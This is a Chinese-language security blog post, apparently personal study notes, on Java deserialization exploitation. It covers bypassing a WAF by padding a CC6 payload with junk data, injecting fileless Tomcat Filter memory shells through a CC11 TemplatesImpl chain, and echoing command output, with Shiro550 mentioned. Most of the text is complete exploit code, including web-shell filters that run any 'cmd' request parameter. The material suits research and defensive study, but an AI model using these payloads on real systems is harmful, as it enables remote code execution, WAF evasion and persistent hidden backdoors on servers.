Java反序列化绕WAF之加大量脏数据

WAF背景

大多数的WAF受限于性能影响,当request足够大时,WAF就可能因为性能原因而做出让步,超出检查长度的内容,将不会被检查。这一点在一些CTF的题目中有所体现。

虽然这样可以绕过检测,但是我们的序列化数据是二进制数据,直接加入垃圾数据破坏了序列化的结构,在readObject反序列化的时候并没有反序列化成功。

脏数据添加

这里存在的思路是,找到一个可以序列化的类,可以将我们的脏数据和ysoserial gadget对象一起包裹起来。

条件:

  • 实现Serializable接口
  • 可以存储任意对象

这么一看,集合类型就非常符合需求了。

  1. ArrayList
  2. LinkedList
  3. HashMap
  4. LinkedHashMap
  5. TreeMap
  6. ……

实现

这里拿CC6的链子举例,我们需要构造一个dirtyData和一个集合类,将我们的dirtyData和入口类用该集合类包裹起来,进行序列化即可。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
package com.review.test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Map;

public class Dirty {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> hashMap = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(hashMap,new ConstantTransformer(1));

TiedMapEntry entry = new TiedMapEntry(lazyMap, "abc");

HashMap<Object,Object> expMap = new HashMap<>();
expMap.put(entry, "qwe");
lazyMap.remove("abc");

Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);

String dirtyData = "";
for(int i=0;i<50000;i++){
dirtyData += "s";
}

ArrayList<Object> list = new ArrayList<>();

list.add(dirtyData);
list.add(expMap);

// serialize(list);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

Java反序列化打内存马

对于我们之前学习的Tomcat内存马,只算是做了一些简单的实验,并未能够完全应用,只能通过文件上传jsp的方式来注入内存马,也是存在文件落地的现象的,并非真正的内存马

所以这篇文章,我们来学习利用反序列化来实现真正的内存马注入,本文会使用CC11链来进行内存马的注入,实现真正的无文件落地内存马,在使用 jsp 注入的时候由于 request 和 response 是 jsp 的内置对象,所以在回显问题上不用考虑,但是当我们结合反序列化进行注入的时候这些都成了需要考量的地方

回显技术

回显技术已经在之前的文章中说过,常用就分为以下几类:
  • 半通用Tomcat回显
  • Tomcat低版本全局存储回显
  • Tomcat高版本全局存储回显

反序列化注入内存马

低版本Tomcat注入内存马

来简单捋一下注入内存马的思路

漏洞环境

这里使用WebApp项目,且使用低版本Tomcat

这里我们写一个简单的Servlet,模拟存在反序列化的点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package com.sermemshell;

import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;

@WebServlet("/cc")
public class CCServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
InputStream inputStream = (InputStream) req;
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
try {
objectInputStream.readObject();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
resp.getWriter().write("Success");
}

@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {
InputStream inputStream = req.getInputStream();
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
try {
objectInputStream.readObject();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
resp.getWriter().write("Success");
}
}

半通用回显

这里使用Tomcat半通用回显,具体内容看Java回显技术

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
package com.EXP;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.lang.reflect.Field;
import java.lang.reflect.Modifier;

public class TomcatEcho extends AbstractTranslet {

static {
try{
Class c = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
Field f = c.getDeclaredField("WRAP_SAME_OBJECT");
Field modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL);
f.setAccessible(true);
if(f.getBoolean(null) == Boolean.FALSE){
f.setBoolean(null,Boolean.TRUE);
}

c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
f = c.getDeclaredField("lastServicedRequest");
modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL);
f.setAccessible(true);
if (f.get(null) == null) {
f.set(null,new ThreadLocal());
}

f = c.getDeclaredField("lastServicedResponse");
modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL);
f.setAccessible(true);
if (f.get(null) == null) {
f.set(null,new ThreadLocal());
}
}catch (Exception e){
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

内存马注入

这里以Filter内存马为示例,获取 request 和 response,将命令执行结果写入response

自写POC

跟着师傅的博客,自己翻阅着笔记,写出来这么一个东西T^T,对于搭建的漏洞环境,起码是可以注入了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
package com.EXP;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.*;

public class TomcatInject extends AbstractTranslet implements Filter {

private final String cmdParamName="cmd";
private final static String filterUrl = "/*";
private final static String filterName="Sean";

static{
try{
ServletContext servletContext = getServletContext();
if (servletContext != null) {
Field ctx = servletContext.getClass().getDeclaredField("context");
ctx.setAccessible(true);
ApplicationContext appctx = (ApplicationContext) ctx.get(servletContext);
Field stdctx = appctx.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(appctx);
if (standardContext != null) {
TomcatInject cmdFilter = new TomcatInject();

FilterDef def = new FilterDef();
def.setFilterName(filterName);
def.setFilter(cmdFilter);
def.setFilterClass(cmdFilter.getClass().getName());

FilterMap map = new FilterMap();
map.setFilterName(filterName);
map.addURLPattern(filterUrl);

standardContext.addFilterDef(def);
standardContext.addFilterMapBefore(map);
standardContext.filterStart();
}
}

}catch (Exception e){
e.printStackTrace();
}

}

public static ServletContext getServletContext() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
ServletRequest servletRequest = null;
Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
Field f = c.getDeclaredField("lastServicedRequest");
f.setAccessible(true);
ThreadLocal threadLocal = (ThreadLocal) f.get(null);
if (threadLocal != null && threadLocal.get() != null) {
servletRequest = (ServletRequest) threadLocal.get();
}
if (servletRequest != null) {
return servletRequest.getServletContext();
}
return null;
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

@Override
public void init(FilterConfig filterConfig) throws ServletException {
}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String cmd = servletRequest.getParameter(cmdParamName);
if (cmd!= null && cmd != "") {
InputStream stream = Runtime.getRuntime().exec(cmd).getInputStream();
Scanner scanner = new Scanner(stream).useDelimiter("\\A");
String s = scanner.hasNext() ? scanner.next() : "";
PrintWriter writer = servletResponse.getWriter();
writer.write(s);
writer.flush();
writer.close();
}
filterChain.doFilter(servletRequest,servletResponse);
}

@Override
public void destroy() {

}

}

拿来拿来

这里就借用DrunkBaby师傅的POC,还是DrunkBaby的全面,对于很多东西考虑感觉是我达不到的高度了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
package EXP;  

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.LifecycleState;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;

import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;

/**
* @author threedr3am
*/public class TomcatInject extends AbstractTranslet implements Filter {

/**
* webshell命令参数名
*/
private final String cmdParamName = "cmd";
private final static String filterUrlPattern = "/*";
private final static String filterName = "Drunkbaby";

static {
try {
ServletContext servletContext = getServletContext();
if (servletContext != null){
Field ctx = servletContext.getClass().getDeclaredField("context");
ctx.setAccessible(true);
ApplicationContext appctx = (ApplicationContext) ctx.get(servletContext);

Field stdctx = appctx.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(appctx);

if (standardContext != null){
// 这样设置不会抛出报错
Field stateField = org.apache.catalina.util.LifecycleBase.class
.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, LifecycleState.STARTING_PREP);

Filter myFilter =new TomcatInject();
// 调用 doFilter 来动态添加我们的 Filter // 这里也可以利用反射来添加我们的 Filter
javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter(filterName,myFilter);

// 进行一些简单的设置
filterRegistration.setInitParameter("encoding", "utf-8");
filterRegistration.setAsyncSupported(false);
// 设置基本的 url pattern filterRegistration
.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,
new String[]{"/*"});

// 将服务重新修改回来,不然的话服务会无法正常进行
if (stateField != null){
stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
}

// 在设置之后我们需要 调用 filterstart
if (standardContext != null){
// 设置filter之后调用 filterstart 来启动我们的 filter Method filterStartMethod = StandardContext.class.getDeclaredMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext,null);

/**
* 将我们的 filtermap 插入到最前面
*/

Class ccc = null;
try {
ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
} catch (Throwable t){}
if (ccc == null) {
try {
ccc = Class.forName("org.apache.catalina.deploy.FilterMap");
} catch (Throwable t){}
}
//把filter插到第一位
Method m = Class.forName("org.apache.catalina.core.StandardContext")
.getDeclaredMethod("findFilterMaps");
Object[] filterMaps = (Object[]) m.invoke(standardContext);
Object[] tmpFilterMaps = new Object[filterMaps.length];
int index = 1;
for (int i = 0; i < filterMaps.length; i++) {
Object o = filterMaps[i];
m = ccc.getMethod("getFilterName");
String name = (String) m.invoke(o);
if (name.equalsIgnoreCase(filterName)) {
tmpFilterMaps[0] = o;
} else {
tmpFilterMaps[index++] = filterMaps[i];
}
}
for (int i = 0; i < filterMaps.length; i++) {
filterMaps[i] = tmpFilterMaps[i];
}
}
}

}

} catch (Exception e) {
e.printStackTrace();
}
}

private static ServletContext getServletContext()
throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
ServletRequest servletRequest = null;
/*shell注入,前提需要能拿到request、response等*/
Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
java.lang.reflect.Field f = c.getDeclaredField("lastServicedRequest");
f.setAccessible(true);
ThreadLocal threadLocal = (ThreadLocal) f.get(null);
//不为空则意味着第一次反序列化的准备工作已成功
if (threadLocal != null && threadLocal.get() != null) {
servletRequest = (ServletRequest) threadLocal.get();
}
//如果不能去到request,则换一种方式尝试获取

//spring获取法1
if (servletRequest == null) {
try {
c = Class.forName("org.springframework.web.context.request.RequestContextHolder");
Method m = c.getMethod("getRequestAttributes");
Object o = m.invoke(null);
c = Class.forName("org.springframework.web.context.request.ServletRequestAttributes");
m = c.getMethod("getRequest");
servletRequest = (ServletRequest) m.invoke(o);
} catch (Throwable t) {}
}
if (servletRequest != null)
return servletRequest.getServletContext();

//spring获取法2
try {
c = Class.forName("org.springframework.web.context.ContextLoader");
Method m = c.getMethod("getCurrentWebApplicationContext");
Object o = m.invoke(null);
c = Class.forName("org.springframework.web.context.WebApplicationContext");
m = c.getMethod("getServletContext");
ServletContext servletContext = (ServletContext) m.invoke(o);
return servletContext;
} catch (Throwable t) {}
return null;
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
throws TransletException {

}

@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,
FilterChain filterChain) throws IOException, ServletException {
System.out.println(
"TomcatShellInject doFilter.....................................................................");
String cmd;
if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}

@Override
public void destroy() {

}
}

序列化数据生成

这里使用CC11的链子,这里我们只能使用动态加载字节码的方式来进行注入

我们使用CC11链子,分别生成半通用回显内存马注入的两个存储着序列化数据的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
package com.EXP;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;

@SuppressWarnings("all")
public class CC11Template {

public static void main(String[] args) throws Exception {
byte[] bytes = getBytes();
byte[][] targetByteCodes = new byte[][]{bytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();

Field f0 = templates.getClass().getDeclaredField("_bytecodes");
f0.setAccessible(true);
f0.set(templates,targetByteCodes);

f0 = templates.getClass().getDeclaredField("_name");
f0.setAccessible(true);
f0.set(templates,"name");

f0 = templates.getClass().getDeclaredField("_class");
f0.setAccessible(true);
f0.set(templates,null);

// 利用反射调用 templates 中的 newTransformer 方法
InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new Object[0]);
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer);
TiedMapEntry tiedmap = new TiedMapEntry(map,templates);
HashSet hashset = new HashSet(1);
hashset.add("foo");
// 我们要设置 HashSet 的 map 为我们的 HashMap
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
f.setAccessible(true);
HashMap hashset_map = (HashMap) f.get(hashset);

Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}

f2.setAccessible(true);
Object[] array = (Object[])f2.get(hashset_map);

Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node,tiedmap);

// 在 invoke 之后,
Field f3 = transformer.getClass().getDeclaredField("iMethodName");
f3.setAccessible(true);
f3.set(transformer,"newTransformer");

try{
// ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11Step1.ser"));
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11Step2.ser"));
outputStream.writeObject(hashset);
outputStream.close();

}catch(Exception e){
e.printStackTrace();
}
}

public static byte[] getBytes() throws IOException {
// 第一次
// InputStream inputStream = new FileInputStream(new File("F:\\java\\serMem\\target\\classes\\com\\EXP\\TomcatEcho.class"));
// 第二次
InputStream inputStream = new FileInputStream(new File("F:\\java\\serMem\\target\\classes\\com\\EXP\\TomcatInject.class"));

// InputStream inputStream = new FileInputStream(new File("F:\\java\\serMem\\target\\classes\\com\\EXP\\Calc.class"));
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
int n = 0;
while ((n=inputStream.read())!=-1){
byteArrayOutputStream.write(n);
}
byte[] bytes = byteArrayOutputStream.toByteArray();
return bytes;
}

public void filter(){

}
}

反序列化注入

两者接注入即可,首先注入Tomcat半通用回显,其次注入Filter内存马

  • 这一种反序列化注入内存马的方式,并且像shiro这种自带Filter的是无法打通的,如果使用shiro550打内存马,需要获取全局 response,并且根据Tomcat版本高低来打

内存马打Shiro550

通过全局存储 Response 回显来打

直接用KpLi0rn师傅的这个项目来打shiro内存马https://github.com/KpLi0rn/ShiroVulnEnv

首先通过注入tomcatHeader.ser来绕过长度限制

最后用tomcatInject.ser注入回显内存马

Java回显技术

通过文件描述符回显

该回显方法是基于proc/self/fd/i的攻击

分析

在Linux环境下,可以通过文件描述符proc/self/fd/i获取到网络连接,在Java中我们可以直接通过文件描述符获取到一个Stream对象,对当前网络进行读写操作,可以釜底抽薪在根源上解决回显问题。简单来说就是利用linux文件描述符实现漏洞回显

如果我们获取到了当前请求对应进程的文件描述符,如果向输出描述符中写入内容,那么就会在回显中显示,从原理上可行,但是我们该如何获得本次请求描述符

解决这个问题就要思考在一次连接请求过程中有什么特殊的东西可通过代码识别出来,从而筛选出对应的请求信息。那么这个特殊的标识应该就是,客户端的访问ip地址了。

我们可以看到,在proc/net/tcp6中存储了大量连接请求

local_address 是服务端的地址和连接端口,remote_address 是远程机器的地址和端口,因此我们可以通过 remote_address 字段筛选出需要的 inode 号。这里的 inode 号会在 /proc/xx/fd/ 中的 socket 一一对应

去到 proc/{进程号}/fd 文件夹下,执行 ll 命令

有了这个对应关系,我们就可以在 /proc/xx/fd/ 目录中筛选出对应inode号的socket,从而获取了文件描述符。整体思路如下:

  1. 通过 client ip 在 /proc/net/tcp6(/proc/net/tcp) 文件中筛选出对应的 inode 号
  2. 通过 inode 号在 /proc/{进程号}/fd/ 中筛选出fd号
  3. 创建 FileDescriptor 对象
  4. 执行命令并向 FileDescriptor 对象输出命令执行结果

Tomcat半通用回显

如果在Java代码执行时,能获取到response对象,则可以直接向response对象中写入命令执行的结果,从而实现回显。因此我们目的就是找到一个可以利用的response对象,思路如下
  • 通过翻阅函数调用栈寻找存储response的类
  • 最好是一个静态变量,这样就不需要去获取实例
  • 使用ThreadLoaca保存response,获取到当前线程的请求信息
  • 修复原有输出,防止报错

分析

为了通用性,我们最好找到一个tomcat中存储着response的类,顺着堆栈一直往回找

从HTTP请求的入口开始往后,request和response几乎就是一路传递,且在内存中均为同一个变量(后面会将初始的req和res封装到了新的req和res中)

这样就代表着,我们只需要获取其中一个类中的response实例即可

根据上述思路,我们找到了ApplicationFilterChain对象中 静态的ThreadLocal保存的Response类型的属性lastServicedResponse

这里的静态代码块在初始时,已经把lastServiceResponse设置为null(WRAP_SAME_OBJECT默认为false)

这里的internalDoFilter方法将当前request和response对象赋值给lastServiceRequest和lastServiced对象的操作,但是需要ApplicationDispatcher.WRAP_SAME_OBJECT的值为true,同时需要两个对象为ThreadLocal

因此这里需要有两个操作

  • 反射修改ApplicationDispatcher.WRAP_SAME_OBJECT值为true,走到if判断中
  • 初始化lastServicedRequest和lastServicedResponse变量为ThreadLocal类,默认为null

getWriter重复使用报错

在使用response的getWriter函数时,usingWriter变量会被设置为true。如果在该请求中usingWriter变成了true,那么后面重复使用getWriter方法时就会报错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//ResponseFacade#getWriter
public PrintWriter getWriter() throws IOException {
PrintWriter writer = this.response.getWriter();
if (this.isFinished()) {
this.response.setSuspended(true);
}

return writer;
}
//Response#getWriter
public PrintWriter getWriter() throws IOException {
if (this.usingOutputStream) {
throw new IllegalStateException(sm.getString("coyoteResponse.getWriter.ise"));
} else {
if (ENFORCE_ENCODING_IN_GET_WRITER) {
this.setCharacterEncoding(this.getCharacterEncoding());
}

this.usingWriter = true;
this.outputBuffer.checkConverter();
if (this.writer == null) {
this.writer = new CoyoteWriter(this.outputBuffer);
}

return this.writer;
}
}

报错如下:getWriter已经被调用过一次

1
java.lang.IllegalStateException: getWriter() has already been called for this response

这里就有两种解决方法:

  • 在调用完getWriter后反射修改usingWriter的值为false
  • 使用getOutputStream代替

实现

实现如下,需要访问两次,第一次为设置ApplicationDispathcer.WRAP_SAME_OBJECT变量为true以及为lastServicedResponse对象进行初始化为ThreadLocal对象;第二次从lastServicedResponse对象中取出response对象进行操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
package com.echo.demos.web;

import org.apache.catalina.connector.Response;
import org.apache.catalina.connector.ResponseFacade;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import javax.servlet.ServletResponse;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.Scanner;

@Controller
public class EvilController {

@RequestMapping("/test")
@ResponseBody
public String IndexController(String input) throws Exception {
try {

Field wrapSameObject = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");//获取WRAP_SAME_OBJECT字段
Field modifiers = Field.class.getDeclaredField("modifiers");//获取控制final的字段
modifiers.setAccessible(true);//设置变量为可访问
modifiers.setInt(wrapSameObject, wrapSameObject.getModifiers() & ~Modifier.FINAL);//取消final
wrapSameObject.setAccessible(true);//设置变量为可访问
wrapSameObject.set(null,true);//将WRAP_SAME_OBJECT设置为true

Field lastServicedResponse = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedResponse");//获取lastServicedResponse字段
modifiers.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);//取消final
lastServicedResponse.setAccessible(true);//设置变量为可访问

Field lastServicedRequest = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedRequest");//获取lastServicedRequest字段
modifiers.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);//取消final
lastServicedRequest.setAccessible(true);//设置变量为可访问

ThreadLocal<ServletResponse> servletResponseThreadLocal = (ThreadLocal<ServletResponse>) lastServicedResponse.get(null);//获取静态变量lastServicedRequest
if(servletResponseThreadLocal == null) {
lastServicedResponse.set(null,new ThreadLocal<>());//初始化lastServicedResponse
lastServicedRequest.set(null,new ThreadLocal<>());//初始化lastServicedRequest
}else if(input!=null){
ServletResponse servletResponse = servletResponseThreadLocal.get();//获取repsonse
PrintWriter writer = servletResponse.getWriter();//获取writer

Field responseField = ResponseFacade.class.getDeclaredField("response");//获取response字段
responseField.setAccessible(true);//设置变量为可访问
Response response = (Response) responseField.get(servletResponse);//获取变量
Field usingWriter = Response.class.getDeclaredField("usingWriter");//获取usingWriter字段
usingWriter.setAccessible(true);//设置变量为可访问
usingWriter.set((Object) response, Boolean.FALSE);//设置usingWriter为false

boolean isLinux = true;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
isLinux = false;
}

String[] cmd = isLinux?new String[]{"sh","-c",input}:new String[]{"cmd.exe","/c",input};

InputStream stream = Runtime.getRuntime().exec(cmd).getInputStream();//获取命令执行输入流
// 方法一:使用 outputStream.write() 方法输出
// responseFacade.getOutputStream().write(res.getBytes(StandardCharsets.UTF_8));
// responseFacade.flushBuffer();
//方法二:使用 writer.writeA() 方法输出
Scanner scanner = new Scanner(stream).useDelimiter("\\A");
String s = scanner.hasNext() ? scanner.next() : "";
writer.write(s);
writer.flush();
}
}
catch (Exception e) {
e.printStackTrace();
}
return "OK";
}
}

大致流程图如下(个人理解,有问题请大佬指出)

局限性

这个方法有一些局限性,如果漏洞在ApplicationFilterChain进行lastServicedResponse.set(response);之前触发,就不会将我们的执行结果写入lastServicedResponse当中,那么我们在获取lastServicedResponse之中的response时就无法获取Tomcat Response进行回显

Shiro反序列化漏洞就遇到了这种情况,shiro的rememberMe功能是shiro自己实现的一个filter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if (pos < n) {
ApplicationFilterConfig filterConfig = filters[pos++];
try {
Filter filter = filterConfig.getFilter();
...
filter.doFilter(request, response, this);//Shiro漏洞触发点
} catch (...)
...
}
}
try {
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(request);
lastServicedResponse.set(response);//Tomcat回显关键点
}
if (...){
...
} else {
servlet.service(request, response);//servlet调用点
}
} catch (...) {
...
} finally {
...
}

可以看到,首先获取所有Filter对当前请求进行拦截,通过后,再进行lastServicedResponse.set(response);操作,然后再进行servlet.service(request, response);

rememberMe功能是ShiroFilter的一个模块,在这部分逻辑中执行时,就会触发反序列化漏洞,还没进入到lastServicedResponse.set(response);的操作中,此时的lastServicedResponse内容就是空,从而也就获取不到我们想要的response

通过全局存储 Response回显

上述半通用回显,是通过反射修改值,从而改变了Tomcat的流程,使得最终可以在ApplicationFilterChain类的lastServicedResponseField对象中去取到response对象,但是依赖于Tomcat本身代码的处理流程,注入点在写入response之前就不可以了

而现在这种方法是不再寻求改变代码流程,而是找找有没有Tomcat全局存储的request或response

分析

寻找全局Response

我们知道,Tomcat处理HTTP请求的时候流程入口在org.apache.coyote.http11.Http11Processor类中,该类继承了AbstractProcessor

1
public class Http11Processor extends AbstractProcessor

AbstractProcessor类中,存在着两个属性request和response,且这两个属性都被final所修饰,说明这个值在赋值之后是无法被修改的

AbstractProcessor类的构造函数中,就对request和response赋值了,那么我们只需要获取到Http11Processor类就可以拿到request和response

